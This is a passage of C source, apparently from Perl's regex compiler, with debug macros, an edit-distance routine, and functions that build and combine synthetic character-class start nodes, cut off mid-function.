Set_Node_Length_To_R(node,len) STMT_START { \ MJD_OFFSET_DEBUG(("** (%d) size of node %d is %d.\n", \ __LINE__, (int)(node), (int)(len))); \ if((node) < 0) { \ Perl_croak(aTHX_ "value of node is %d in Length macro", \ (int)(node)); \ } else { \ RExC_offsets[2*(node)] = (len); \ } \ } STMT_END #define Set_Node_Length(node,len) \ Set_Node_Length_To_R(REGNODE_OFFSET(node), len) #define Set_Node_Cur_Length(node, start) \ Set_Node_Length(node, RExC_parse - start) /* Get offsets and lengths */ #define Node_Offset(n) (RExC_offsets[2*(REGNODE_OFFSET(n))-1]) #define Node_Length(n) (RExC_offsets[2*(REGNODE_OFFSET(n))]) #define Set_Node_Offset_Length(node,offset,len) STMT_START { \ Set_Node_Offset_To_R(REGNODE_OFFSET(node), (offset)); \ Set_Node_Length_To_R(REGNODE_OFFSET(node), (len)); \ } STMT_END #define Track_Code(code) STMT_START { code } STMT_END #endif #if PERL_ENABLE_EXPERIMENTAL_REGEX_OPTIMISATIONS #define EXPERIMENTAL_INPLACESCAN #endif /*PERL_ENABLE_EXPERIMENTAL_REGEX_OPTIMISATIONS*/ #ifdef DEBUGGING int Perl_re_printf(pTHX_ const char *fmt, ...) { va_list ap; int result; PerlIO *f= Perl_debug_log; PERL_ARGS_ASSERT_RE_PRINTF; va_start(ap, fmt); result = PerlIO_vprintf(f, fmt, ap); va_end(ap); return result; } int Perl_re_indentf(pTHX_ const char *fmt, U32 depth, ...) { va_list ap; int result; PerlIO *f= Perl_debug_log; PERL_ARGS_ASSERT_RE_INDENTF; va_start(ap, depth); PerlIO_printf(f, "%*s", ( (int)depth % 20 ) * 2, ""); result = PerlIO_vprintf(f, fmt, ap); va_end(ap); return result; } #endif /* DEBUGGING */ #define DEBUG_RExC_seen() \ DEBUG_OPTIMISE_MORE_r({ \ Perl_re_printf( aTHX_ "RExC_seen: "); \ \ if (RExC_seen & REG_ZERO_LEN_SEEN) \ Perl_re_printf( aTHX_ "REG_ZERO_LEN_SEEN "); \ \ if (RExC_seen & REG_LOOKBEHIND_SEEN) \ Perl_re_printf( aTHX_ "REG_LOOKBEHIND_SEEN "); \ \ if (RExC_seen & REG_GPOS_SEEN) \ Perl_re_printf( aTHX_ "REG_GPOS_SEEN "); \ \ if (RExC_seen & REG_RECURSE_SEEN) \ Perl_re_printf( aTHX_ "REG_RECURSE_SEEN "); \ \ if (RExC_seen & REG_TOP_LEVEL_BRANCHES_SEEN) \ Perl_re_printf( aTHX_ "REG_TOP_LEVEL_BRANCHES_SEEN "); \ \ if (RExC_seen & REG_VERBARG_SEEN) \ Perl_re_printf( aTHX_ "REG_VERBARG_SEEN "); \ \ if (RExC_seen & REG_CUTGROUP_SEEN) \ Perl_re_printf( aTHX_ "REG_CUTGROUP_SEEN "); \ \ if (RExC_seen & REG_RUN_ON_COMMENT_SEEN) \ Perl_re_printf( aTHX_ "REG_RUN_ON_COMMENT_SEEN "); \ \ if (RExC_seen & REG_UNFOLDED_MULTI_SEEN) \ Perl_re_printf( aTHX_ "REG_UNFOLDED_MULTI_SEEN "); \ \ if (RExC_seen & REG_UNBOUNDED_QUANTIFIER_SEEN) \ Perl_re_printf( aTHX_ "REG_UNBOUNDED_QUANTIFIER_SEEN "); \ \ Perl_re_printf( aTHX_ "\n"); \ }); #define DEBUG_SHOW_STUDY_FLAG(flags,flag) \ if ((flags) & flag) Perl_re_printf( aTHX_ "%s ", #flag) #ifdef DEBUGGING static void S_debug_show_study_flags(pTHX_ U32 flags, const char *open_str, const char *close_str) { if (!flags) return; Perl_re_printf( aTHX_ "%s", open_str); DEBUG_SHOW_STUDY_FLAG(flags, SF_BEFORE_SEOL); DEBUG_SHOW_STUDY_FLAG(flags, SF_BEFORE_MEOL); DEBUG_SHOW_STUDY_FLAG(flags, SF_IS_INF); DEBUG_SHOW_STUDY_FLAG(flags, SF_HAS_PAR); DEBUG_SHOW_STUDY_FLAG(flags, SF_IN_PAR); DEBUG_SHOW_STUDY_FLAG(flags, SF_HAS_EVAL); DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_SUBSTR); DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_STCLASS_AND); DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_STCLASS_OR); DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_STCLASS); DEBUG_SHOW_STUDY_FLAG(flags, SCF_WHILEM_VISITED_POS); DEBUG_SHOW_STUDY_FLAG(flags, SCF_TRIE_RESTUDY); DEBUG_SHOW_STUDY_FLAG(flags, SCF_SEEN_ACCEPT); DEBUG_SHOW_STUDY_FLAG(flags, SCF_TRIE_DOING_RESTUDY); DEBUG_SHOW_STUDY_FLAG(flags, SCF_IN_DEFINE); Perl_re_printf( aTHX_ "%s", close_str); } static void S_debug_studydata(pTHX_ const char *where, scan_data_t *data, U32 depth, int is_inf) { GET_RE_DEBUG_FLAGS_DECL; DEBUG_OPTIMISE_MORE_r({ if (!data) return; Perl_re_indentf(aTHX_ "%s: Pos:%" IVdf "/%" IVdf " Flags: 0x%" UVXf, depth, where, (IV)data->pos_min, (IV)data->pos_delta, (UV)data->flags ); S_debug_show_study_flags(aTHX_ data->flags," [","]"); Perl_re_printf( aTHX_ " Whilem_c: %" IVdf " Lcp: %" IVdf " %s", (IV)data->whilem_c, (IV)(data->last_closep ? *((data)->last_closep) : -1), is_inf ? "INF " : "" ); if (data->last_found) { int i; Perl_re_printf(aTHX_ "Last:'%s' %" IVdf ":%" IVdf "/%" IVdf, SvPVX_const(data->last_found), (IV)data->last_end, (IV)data->last_start_min, (IV)data->last_start_max ); for (i = 0; i < 2; i++) { Perl_re_printf(aTHX_ " %s%s: '%s' @ %" IVdf "/%" IVdf, data->cur_is_floating == i ? "*" : "", i ? "Float" : "Fixed", SvPVX_const(data->substrs[i].str), (IV)data->substrs[i].min_offset, (IV)data->substrs[i].max_offset ); S_debug_show_study_flags(aTHX_ data->substrs[i].flags," [","]"); } } Perl_re_printf( aTHX_ "\n"); }); } static void S_debug_peep(pTHX_ const char *str, const RExC_state_t *pRExC_state, regnode *scan, U32 depth, U32 flags) { GET_RE_DEBUG_FLAGS_DECL; DEBUG_OPTIMISE_r({ regnode *Next; if (!scan) return; Next = regnext(scan); regprop(RExC_rx, RExC_mysv, scan, NULL, pRExC_state); Perl_re_indentf( aTHX_ "%s>%3d: %s (%d)", depth, str, REG_NODE_NUM(scan), SvPV_nolen_const(RExC_mysv), Next ? (REG_NODE_NUM(Next)) : 0 ); S_debug_show_study_flags(aTHX_ flags," [ ","]"); Perl_re_printf( aTHX_ "\n"); }); } # define DEBUG_STUDYDATA(where, data, depth, is_inf) \ S_debug_studydata(aTHX_ where, data, depth, is_inf) # define DEBUG_PEEP(str, scan, depth, flags) \ S_debug_peep(aTHX_ str, pRExC_state, scan, depth, flags) #else # define DEBUG_STUDYDATA(where, data, depth, is_inf) NOOP # define DEBUG_PEEP(str, scan, depth, flags) NOOP #endif /* ========================================================= * BEGIN edit_distance stuff. * * This calculates how many single character changes of any type are needed to * transform a string into another one. It is taken from version 3.1 of * * https://metacpan.org/pod/Text::Levenshtein::Damerau::XS */ /* Our unsorted dictionary linked list. */ /* Note we use UVs, not chars. */ struct dictionary{ UV key; UV value; struct dictionary* next; }; typedef struct dictionary item; PERL_STATIC_INLINE item* push(UV key, item* curr) { item* head; Newx(head, 1, item); head->key = key; head->value = 0; head->next = curr; return head; } PERL_STATIC_INLINE item* find(item* head, UV key) { item* iterator = head; while (iterator){ if (iterator->key == key){ return iterator; } iterator = iterator->next; } return NULL; } PERL_STATIC_INLINE item* uniquePush(item* head, UV key) { item* iterator = head; while (iterator){ if (iterator->key == key) { return head; } iterator = iterator->next; } return push(key, head); } PERL_STATIC_INLINE void dict_free(item* head) { item* iterator = head; while (iterator) { item* temp = iterator; iterator = iterator->next; Safefree(temp); } head = NULL; } /* End of Dictionary Stuff */ /* All calculations/work are done here */ STATIC int S_edit_distance(const UV* src, const UV* tgt, const STRLEN x, /* length of src[] */ const STRLEN y, /* length of tgt[] */ const SSize_t maxDistance ) { item *head = NULL; UV swapCount, swapScore, targetCharCount, i, j; UV *scores; UV score_ceil = x + y; PERL_ARGS_ASSERT_EDIT_DISTANCE; /* intialize matrix start values */ Newx(scores, ( (x + 2) * (y + 2)), UV); scores[0] = score_ceil; scores[1 * (y + 2) + 0] = score_ceil; scores[0 * (y + 2) + 1] = score_ceil; scores[1 * (y + 2) + 1] = 0; head = uniquePush(uniquePush(head, src[0]), tgt[0]); /* work loops */ /* i = src index */ /* j = tgt index */ for (i=1;i<=x;i++) { if (i < x) head = uniquePush(head, src[i]); scores[(i+1) * (y + 2) + 1] = i; scores[(i+1) * (y + 2) + 0] = score_ceil; swapCount = 0; for (j=1;j<=y;j++) { if (i == 1) { if(j < y) head = uniquePush(head, tgt[j]); scores[1 * (y + 2) + (j + 1)] = j; scores[0 * (y + 2) + (j + 1)] = score_ceil; } targetCharCount = find(head, tgt[j-1])->value; swapScore = scores[targetCharCount * (y + 2) + swapCount] + i - targetCharCount - 1 + j - swapCount; if (src[i-1] != tgt[j-1]){ scores[(i+1) * (y + 2) + (j + 1)] = MIN(swapScore,(MIN(scores[i * (y + 2) + j], MIN(scores[(i+1) * (y + 2) + j], scores[i * (y + 2) + (j + 1)])) + 1)); } else { swapCount = j; scores[(i+1) * (y + 2) + (j + 1)] = MIN(scores[i * (y + 2) + j], swapScore); } } find(head, src[i-1])->value = i; } { IV score = scores[(x+1) * (y + 2) + (y + 1)]; dict_free(head); Safefree(scores); return (maxDistance != 0 && maxDistance < score)?(-1):score; } } /* END of edit_distance() stuff * ========================================================= */ /* is c a control character for which we have a mnemonic? */ #define isMNEMONIC_CNTRL(c) _IS_MNEMONIC_CNTRL_ONLY_FOR_USE_BY_REGCOMP_DOT_C(c) STATIC const char * S_cntrl_to_mnemonic(const U8 c) { /* Returns the mnemonic string that represents character 'c', if one * exists; NULL otherwise. The only ones that exist for the purposes of * this routine are a few control characters */ switch (c) { case '\a': return "\\a"; case '\b': return "\\b"; case ESC_NATIVE: return "\\e"; case '\f': return "\\f"; case '\n': return "\\n"; case '\r': return "\\r"; case '\t': return "\\t"; } return NULL; } /* Mark that we cannot extend a found fixed substring at this point. Update the longest found anchored substring or the longest found floating substrings if needed. */ STATIC void S_scan_commit(pTHX_ const RExC_state_t *pRExC_state, scan_data_t *data, SSize_t *minlenp, int is_inf) { const STRLEN l = CHR_SVLEN(data->last_found); SV * const longest_sv = data->substrs[data->cur_is_floating].str; const STRLEN old_l = CHR_SVLEN(longest_sv); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_SCAN_COMMIT; if ((l >= old_l) && ((l > old_l) || (data->flags & SF_BEFORE_EOL))) { const U8 i = data->cur_is_floating; SvSetMagicSV(longest_sv, data->last_found); data->substrs[i].min_offset = l ? data->last_start_min : data->pos_min; if (!i) /* fixed */ data->substrs[0].max_offset = data->substrs[0].min_offset; else { /* float */ data->substrs[1].max_offset = (l ? data->last_start_max : (data->pos_delta > SSize_t_MAX - data->pos_min ? SSize_t_MAX : data->pos_min + data->pos_delta)); if (is_inf || (STRLEN)data->substrs[1].max_offset > (STRLEN)SSize_t_MAX) data->substrs[1].max_offset = SSize_t_MAX; } if (data->flags & SF_BEFORE_EOL) data->substrs[i].flags |= (data->flags & SF_BEFORE_EOL); else data->substrs[i].flags &= ~SF_BEFORE_EOL; data->substrs[i].minlenp = minlenp; data->substrs[i].lookbehind = 0; } SvCUR_set(data->last_found, 0); { SV * const sv = data->last_found; if (SvUTF8(sv) && SvMAGICAL(sv)) { MAGIC * const mg = mg_find(sv, PERL_MAGIC_utf8); if (mg) mg->mg_len = 0; } } data->last_end = -1; data->flags &= ~SF_BEFORE_EOL; DEBUG_STUDYDATA("commit", data, 0, is_inf); } /* An SSC is just a regnode_charclass_posix with an extra field: the inversion * list that describes which code points it matches */ STATIC void S_ssc_anything(pTHX_ regnode_ssc *ssc) { /* Set the SSC 'ssc' to match an empty string or any code point */ PERL_ARGS_ASSERT_SSC_ANYTHING; assert(is_ANYOF_SYNTHETIC(ssc)); /* mortalize so won't leak */ ssc->invlist = sv_2mortal(_add_range_to_invlist(NULL, 0, UV_MAX)); ANYOF_FLAGS(ssc) |= SSC_MATCHES_EMPTY_STRING; /* Plus matches empty */ } STATIC int S_ssc_is_anything(const regnode_ssc *ssc) { /* Returns TRUE if the SSC 'ssc' can match the empty string and any code * point; FALSE otherwise. Thus, this is used to see if using 'ssc' buys * us anything: if the function returns TRUE, 'ssc' hasn't been restricted * in any way, so there's no point in using it */ UV start, end; bool ret; PERL_ARGS_ASSERT_SSC_IS_ANYTHING; assert(is_ANYOF_SYNTHETIC(ssc)); if (! (ANYOF_FLAGS(ssc) & SSC_MATCHES_EMPTY_STRING)) { return FALSE; } /* See if the list consists solely of the range 0 - Infinity */ invlist_iterinit(ssc->invlist); ret = invlist_iternext(ssc->invlist, &start, &end) && start == 0 && end == UV_MAX; invlist_iterfinish(ssc->invlist); if (ret) { return TRUE; } /* If e.g., both \w and \W are set, matches everything */ if (ANYOF_POSIXL_SSC_TEST_ANY_SET(ssc)) { int i; for (i = 0; i < ANYOF_POSIXL_MAX; i += 2) { if (ANYOF_POSIXL_TEST(ssc, i) && ANYOF_POSIXL_TEST(ssc, i+1)) { return TRUE; } } } return FALSE; } STATIC void S_ssc_init(pTHX_ const RExC_state_t *pRExC_state, regnode_ssc *ssc) { /* Initializes the SSC 'ssc'. This includes setting it to match an empty * string, any code point, or any posix class under locale */ PERL_ARGS_ASSERT_SSC_INIT; Zero(ssc, 1, regnode_ssc); set_ANYOF_SYNTHETIC(ssc); ARG_SET(ssc, ANYOF_ONLY_HAS_BITMAP); ssc_anything(ssc); /* If any portion of the regex is to operate under locale rules that aren't * fully known at compile time, initialization includes it. The reason * this isn't done for all regexes is that the optimizer was written under * the assumption that locale was all-or-nothing. Given the complexity and * lack of documentation in the optimizer, and that there are inadequate * test cases for locale, many parts of it may not work properly, it is * safest to avoid locale unless necessary. */ if (RExC_contains_locale) { ANYOF_POSIXL_SETALL(ssc); } else { ANYOF_POSIXL_ZERO(ssc); } } STATIC int S_ssc_is_cp_posixl_init(const RExC_state_t *pRExC_state, const regnode_ssc *ssc) { /* Returns TRUE if the SSC 'ssc' is in its initial state with regard only * to the list of code points matched, and locale posix classes; hence does * not check its flags) */ UV start, end; bool ret; PERL_ARGS_ASSERT_SSC_IS_CP_POSIXL_INIT; assert(is_ANYOF_SYNTHETIC(ssc)); invlist_iterinit(ssc->invlist); ret = invlist_iternext(ssc->invlist, &start, &end) && start == 0 && end == UV_MAX; invlist_iterfinish(ssc->invlist); if (! ret) { return FALSE; } if (RExC_contains_locale && ! ANYOF_POSIXL_SSC_TEST_ALL_SET(ssc)) { return FALSE; } return TRUE; } #define INVLIST_INDEX 0 #define ONLY_LOCALE_MATCHES_INDEX 1 #define DEFERRED_USER_DEFINED_INDEX 2 STATIC SV* S_get_ANYOF_cp_list_for_ssc(pTHX_ const RExC_state_t *pRExC_state, const regnode_charclass* const node) { /* Returns a mortal inversion list defining which code points are matched * by 'node', which is of type ANYOF. Handles complementing the result if * appropriate. If some code points aren't knowable at this time, the * returned list must, and will, contain every code point that is a * possibility. */ dVAR; SV* invlist = NULL; SV* only_utf8_locale_invlist = NULL; unsigned int i; const U32 n = ARG(node); bool new_node_has_latin1 = FALSE; const U8 flags = OP(node) == ANYOFH ? 0 : ANYOF_FLAGS(node); PERL_ARGS_ASSERT_GET_ANYOF_CP_LIST_FOR_SSC; /* Look at the data structure created by S_set_ANYOF_arg() */ if (n != ANYOF_ONLY_HAS_BITMAP) { SV * const rv = MUTABLE_SV(RExC_rxi->data->data[n]); AV * const av = MUTABLE_AV(SvRV(rv)); SV **const ary = AvARRAY(av); assert(RExC_rxi->data->what[n] == 's'); if (av_tindex_skip_len_mg(av) >= DEFERRED_USER_DEFINED_INDEX) { /* Here there are things that won't be known until runtime -- we * have to assume it could be anything */ invlist = sv_2mortal(_new_invlist(1)); return _add_range_to_invlist(invlist, 0, UV_MAX); } else if (ary[INVLIST_INDEX]) { /* Use the node's inversion list */ invlist = sv_2mortal(invlist_clone(ary[INVLIST_INDEX], NULL)); } /* Get the code points valid only under UTF-8 locales */ if ( (flags & ANYOFL_FOLD) && av_tindex_skip_len_mg(av) >= ONLY_LOCALE_MATCHES_INDEX) { only_utf8_locale_invlist = ary[ONLY_LOCALE_MATCHES_INDEX]; } } if (! invlist) { invlist = sv_2mortal(_new_invlist(0)); } /* An ANYOF node contains a bitmap for the first NUM_ANYOF_CODE_POINTS * code points, and an inversion list for the others, but if there are code * points that should match only conditionally on the target string being * UTF-8, those are placed in the inversion list, and not the bitmap. * Since there are circumstances under which they could match, they are * included in the SSC. But if the ANYOF node is to be inverted, we have * to exclude them here, so that when we invert below, the end result * actually does include them. (Think about "\xe0" =~ /[^\xc0]/di;). We * have to do this here before we add the unconditionally matched code * points */ if (flags & ANYOF_INVERT) { _invlist_intersection_complement_2nd(invlist, PL_UpperLatin1, &invlist); } /* Add in the points from the bit map */ if (OP(node) != ANYOFH) { for (i = 0; i < NUM_ANYOF_CODE_POINTS; i++) { if (ANYOF_BITMAP_TEST(node, i)) { unsigned int start = i++; for (; i < NUM_ANYOF_CODE_POINTS && ANYOF_BITMAP_TEST(node, i); ++i) { /* empty */ } invlist = _add_range_to_invlist(invlist, start, i-1); new_node_has_latin1 = TRUE; } } } /* If this can match all upper Latin1 code points, have to add them * as well. But don't add them if inverting, as when that gets done below, * it would exclude all these characters, including the ones it shouldn't * that were added just above */ if (! (flags & ANYOF_INVERT) && OP(node) == ANYOFD && (flags & ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER)) { _invlist_union(invlist, PL_UpperLatin1, &invlist); } /* Similarly for these */ if (flags & ANYOF_MATCHES_ALL_ABOVE_BITMAP) { _invlist_union_complement_2nd(invlist, PL_InBitmap, &invlist); } if (flags & ANYOF_INVERT) { _invlist_invert(invlist); } else if (flags & ANYOFL_FOLD) { if (new_node_has_latin1) { /* Under /li, any 0-255 could fold to any other 0-255, depending on * the locale. We can skip this if there are no 0-255 at all. */ _invlist_union(invlist, PL_Latin1, &invlist); invlist = add_cp_to_invlist(invlist, LATIN_SMALL_LETTER_DOTLESS_I); invlist = add_cp_to_invlist(invlist, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE); } else { if (_invlist_contains_cp(invlist, LATIN_SMALL_LETTER_DOTLESS_I)) { invlist = add_cp_to_invlist(invlist, 'I'); } if (_invlist_contains_cp(invlist, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE)) { invlist = add_cp_to_invlist(invlist, 'i'); } } } /* Similarly add the UTF-8 locale possible matches. These have to be * deferred until after the non-UTF-8 locale ones are taken care of just * above, or it leads to wrong results under ANYOF_INVERT */ if (only_utf8_locale_invlist) { _invlist_union_maybe_complement_2nd(invlist, only_utf8_locale_invlist, flags & ANYOF_INVERT, &invlist); } return invlist; } /* These two functions currently do the exact same thing */ #define ssc_init_zero ssc_init #define ssc_add_cp(ssc, cp) ssc_add_range((ssc), (cp), (cp)) #define ssc_match_all_cp(ssc) ssc_add_range(ssc, 0, UV_MAX) /* 'AND' a given class with another one. Can create false positives. 'ssc' * should not be inverted. 'and_with->flags & ANYOF_MATCHES_POSIXL' should be * 0 if 'and_with' is a regnode_charclass instead of a regnode_ssc. */ STATIC void S_ssc_and(pTHX_ const RExC_state_t *pRExC_state, regnode_ssc *ssc, const regnode_charclass *and_with) { /* Accumulate into SSC 'ssc' its 'AND' with 'and_with', which is either * another SSC or a regular ANYOF class. Can create false positives. */ SV* anded_cp_list; U8 and_with_flags = (OP(and_with) == ANYOFH) ? 0 : ANYOF_FLAGS(and_with); U8 anded_flags; PERL_ARGS_ASSERT_SSC_AND; assert(is_ANYOF_SYNTHETIC(ssc)); /* 'and_with' is used as-is if it too is an SSC; otherwise have to extract * the code point inversion list and just the relevant flags */ if (is_ANYOF_SYNTHETIC(and_with)) { anded_cp_list = ((regnode_ssc *)and_with)->invlist; anded_flags = and_with_flags; /* XXX This is a kludge around what appears to be deficiencies in the * optimizer. If we make S_ssc_anything() add in the WARN_SUPER flag, * there are paths through the optimizer where it doesn't get weeded * out when it should. And if we don't make some extra provision for * it like the code just below, it doesn't get added when it should. * This solution is to add it only when AND'ing, which is here, and * only when what is being AND'ed is the pristine, original node * matching anything. Thus it is like adding it to ssc_anything() but * only when the result is to be AND'ed. Probably the same solution * could be adopted for the same problem we have with /l matching, * which is solved differently in S_ssc_init(), and that would lead to * fewer false positives than that solution has. But if this solution * creates bugs, the consequences are only that a warning isn't raised * that should be; while the consequences for having /l bugs is * incorrect matches */ if (ssc_is_anything((regnode_ssc *)and_with)) { anded_flags |= ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER; } } else { anded_cp_list = get_ANYOF_cp_list_for_ssc(pRExC_state, and_with); if (OP(and_with) == ANYOFD) { anded_flags = and_with_flags & ANYOF_COMMON_FLAGS; } else { anded_flags = and_with_flags &( ANYOF_COMMON_FLAGS |ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER |ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP); if (ANYOFL_UTF8_LOCALE_REQD(and_with_flags)) { anded_flags &= ANYOFL_SHARED_UTF8_LOCALE_fold_HAS_MATCHES_nonfold_REQD; } } } ANYOF_FLAGS(ssc) &= anded_flags; /* Below, C1 is the list of code points in 'ssc'; P1, its posix classes. * C2 is the list of code points in 'and-with'; P2, its posix classes. * 'and_with' may be inverted. When not inverted, we have the situation of * computing: * (C1 | P1) & (C2 | P2) * = (C1 & (C2 | P2)) | (P1 & (C2 | P2)) * = ((C1 & C2) | (C1 & P2)) | ((P1 & C2) | (P1 & P2)) * <= ((C1 & C2) | P2)) | ( P1 | (P1 & P2)) * <= ((C1 & C2) | P1 | P2) * Alternatively, the last few steps could be: * = ((C1 & C2) | (C1 & P2)) | ((P1 & C2) | (P1 & P2)) * <= ((C1 & C2) | C1 ) | ( C2 | (P1 & P2)) * <= (C1 | C2 | (P1 & P2)) * We favor the second approach if either P1 or P2 is non-empty. This is * because these components are a barrier to doing optimizations, as what * they match cannot be known until the moment of matching as they are * dependent on the current locale, 'AND"ing them likely will reduce or * eliminate them. * But we can do better if we know that C1,P1 are in their initial state (a * frequent occurrence), each matching everything: * (<everything>) & (C2 | P2) = C2 | P2 * Similarly, if C2,P2 are in their initial state (again a frequent * occurrence), the result is a no-op * (C1 | P1) & (<everything>) = C1 | P1 * * Inverted, we have * (C1 | P1) & ~(C2 | P2) = (C1 | P1) & (~C2 & ~P2) * = (C1 & (~C2 & ~P2)) | (P1 & (~C2 & ~P2)) * <= (C1 & ~C2) | (P1 & ~P2) * */ if ((and_with_flags & ANYOF_INVERT) && ! is_ANYOF_SYNTHETIC(and_with)) { unsigned int i; ssc_intersection(ssc, anded_cp_list, FALSE /* Has already been inverted */ ); /* If either P1 or P2 is empty, the intersection will be also; can skip * the loop */ if (! (and_with_flags & ANYOF_MATCHES_POSIXL)) { ANYOF_POSIXL_ZERO(ssc); } else if (ANYOF_POSIXL_SSC_TEST_ANY_SET(ssc)) { /* Note that the Posix class component P from 'and_with' actually * looks like: * P = Pa | Pb | ... | Pn * where each component is one posix class, such as in [\w\s]. * Thus * ~P = ~(Pa | Pb | ... | Pn) * = ~Pa & ~Pb & ... & ~Pn * <= ~Pa | ~Pb | ... | ~Pn * The last is something we can easily calculate, but unfortunately * is likely to have many false positives. We could do better * in some (but certainly not all) instances if two classes in * P have known relationships. For example * :lower: <= :alpha: <= :alnum: <= \w <= :graph: <= :print: * So * :lower: & :print: = :lower: * And similarly for classes that must be disjoint. For example, * since \s and \w can have no elements in common based on rules in * the POSIX standard, * \w & ^\S = nothing * Unfortunately, some vendor locales do not meet the Posix * standard, in particular almost everything by Microsoft. * The loop below just changes e.g., \w into \W and vice versa */ regnode_charclass_posixl temp; int add = 1; /* To calculate the index of the complement */ Zero(&temp, 1, regnode_charclass_posixl); ANYOF_POSIXL_ZERO(&temp); for (i = 0; i < ANYOF_MAX; i++) { assert(i % 2 != 0 || ! ANYOF_POSIXL_TEST((regnode_charclass_posixl*) and_with, i) || ! ANYOF_POSIXL_TEST((regnode_charclass_posixl*) and_with, i + 1)); if (ANYOF_POSIXL_TEST((regnode_charclass_posixl*) and_with, i)) { ANYOF_POSIXL_SET(&temp, i + add); } add = 0 - add; /* 1 goes to -1; -1 goes to 1 */ } ANYOF_POSIXL_AND(&temp, ssc); } /* else ssc already has no posixes */ } /* else: Not inverted. This routine is a no-op if 'and_with' is an SSC in its initial state */ else if (! is_ANYOF_SYNTHETIC(and_with) || ! ssc_is_cp_posixl_init(pRExC_state, (regnode_ssc *)and_with)) { /* But if 'ssc' is in its initial state, the result is just 'and_with'; * copy it over 'ssc' */ if (ssc_is_cp_posixl_init(pRExC_state, ssc)) { if (is_ANYOF_SYNTHETIC(and_with)) { StructCopy(and_with, ssc, regnode_ssc); } else { ssc->invlist = anded_cp_list; ANYOF_POSIXL_ZERO(ssc); if (and_with_flags & ANYOF_MATCHES_POSIXL) { ANYOF_POSIXL_OR((regnode_charclass_posixl*) and_with, ssc); } } } else if (ANYOF_POSIXL_SSC_TEST_ANY_SET(ssc) || (and_with_flags & ANYOF_MATCHES_POSIXL)) { /* One or the other of P1, P2 is non-empty. */ if (and_with_flags & ANYOF_MATCHES_POSIXL) { ANYOF_POSIXL_AND((regnode_charclass_posixl*) and_with, ssc); } ssc_union(ssc, anded_cp_list, FALSE); } else { /* P1 = P2 = empty */ ssc_intersection(ssc, anded_cp_list, FALSE); } } } STATIC void S_ssc_or(pTHX_ const RExC_state_t *pRExC_state, regnode_ssc *ssc, const regnode_charclass *or_with) { /* Accumulate into SSC 'ssc' its 'OR' with 'or_with', which is either * another SSC or a regular ANYOF class. Can create false positives if * 'or_with' is to be inverted. */ SV* ored_cp_list; U8 ored_flags; U8 or_with_flags = (OP(or_with) == ANYOFH) ? 0 : ANYOF_FLAGS(or_with); PERL_ARGS_ASSERT_SSC_OR; assert(is_ANYOF_SYNTHETIC(ssc)); /* 'or_with' is used as-is if it too is an SSC; otherwise have to extract * the code point inversion list and just the relevant flags */ if (is_ANYOF_SYNTHETIC(or_with)) { ored_cp_list = ((regnode_ssc*) or_with)->invlist; ored_flags = or_with_flags; } else { ored_cp_list = get_ANYOF_cp_list_for_ssc(pRExC_state, or_with); ored_flags = or_with_flags & ANYOF_COMMON_FLAGS; if (OP(or_with) != ANYOFD) { ored_flags |= or_with_flags & ( ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER |ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP); if (ANYOFL_UTF8_LOCALE_REQD(or_with_flags)) { ored_flags |= ANYOFL_SHARED_UTF8_LOCALE_fold_HAS_MATCHES_nonfold_REQD; } } } ANYOF_FLAGS(ssc) |= ored_flags; /* Below, C1 is the list of code points in 'ssc'; P1, its posix classes. * C2 is the list of code points in 'or-with'; P2, its posix classes. * 'or_with' may be inverted. When not inverted, we have the simple * situation of computing: * (C1 | P1) | (C2 | P2) = (C1 | C2) | (P1 | P2) * If P1|P2 yields a situation with both a class and its complement are * set, like having both \w and \W, this matches all code points, and we * can delete these from the P component of the ssc going forward. XXX We * might be able to delete all the P components, but I (khw) am not certain * about this, and it is better to be safe. * * Inverted, we have * (C1 | P1) | ~(C2 | P2) = (C1 | P1) | (~C2 & ~P2) * <= (C1 | P1) | ~C2 * <= (C1 | ~C2) | P1 * (which results in actually simpler code than the non-inverted case) * */ if ((or_with_flags & ANYOF_INVERT) && ! is_ANYOF_SYNTHETIC(or_with)) { /* We ignore P2, leaving P1 going forward */ } /* else Not inverted */ else if (or_with_flags & ANYOF_MATCHES_POSIXL) { ANYOF_POSIXL_OR((regnode_charclass_posixl*)or_with, ssc); if (ANYOF_POSIXL_SSC_TEST_ANY_SET(ssc)) { unsigned int i; for (i = 0; i < ANYOF_MAX; i += 2) { if (ANYOF_POSIXL_TEST(ssc, i) && ANYOF_POSIXL_TEST(ssc, i + 1)) { ssc_match_all_cp(ssc); ANYOF_POSIXL_CLEAR(ssc, i); ANYOF_POSIXL_CLEAR(ssc, i+1); } } } } ssc_union(ssc, ored_cp_list, FALSE /* Already has been inverted */ ); } PERL_STATIC_INLINE void S_ssc_union(pTHX_ regnode_ssc *ssc, SV* const invlist, const bool invert2nd) { PERL_ARGS_ASSERT_SSC_UNION; assert(is_ANYOF_SYNTHETIC(ssc)); _invlist_union_maybe_complement_2nd(ssc->invlist, invlist, invert2nd, &ssc->invlist); } PERL_STATIC_INLINE void S_ssc_intersection(pTHX_ regnode_ssc *ssc, SV* const invlist, const bool invert2nd) { PERL_ARGS_ASSERT_SSC_INTERSECTION; assert(is_ANYOF_SYNTHETIC(ssc)); _invlist_intersection_maybe_complement_2nd(ssc->invlist, invlist, invert2nd, &ssc->invlist); } PERL_STATIC_INLINE void S_ssc_add_range(pTHX_ regnode_ssc *ssc, const UV start, const UV end) { PERL_ARGS_ASSERT_SSC_ADD_RANGE; assert(is_ANYOF_SYNTHETIC(ssc)); ssc->invlist = _add_range_to_invlist(ssc->invlist, start, end); } PERL_STATIC_INLINE void S_ssc_cp_and(pTHX_ regnode_ssc *ssc, const UV cp) { /* AND just the single code point 'cp' into the SSC 'ssc' */ SV* cp_list = _new_invlist(2); PERL_ARGS_ASSERT_SSC_CP_AND; 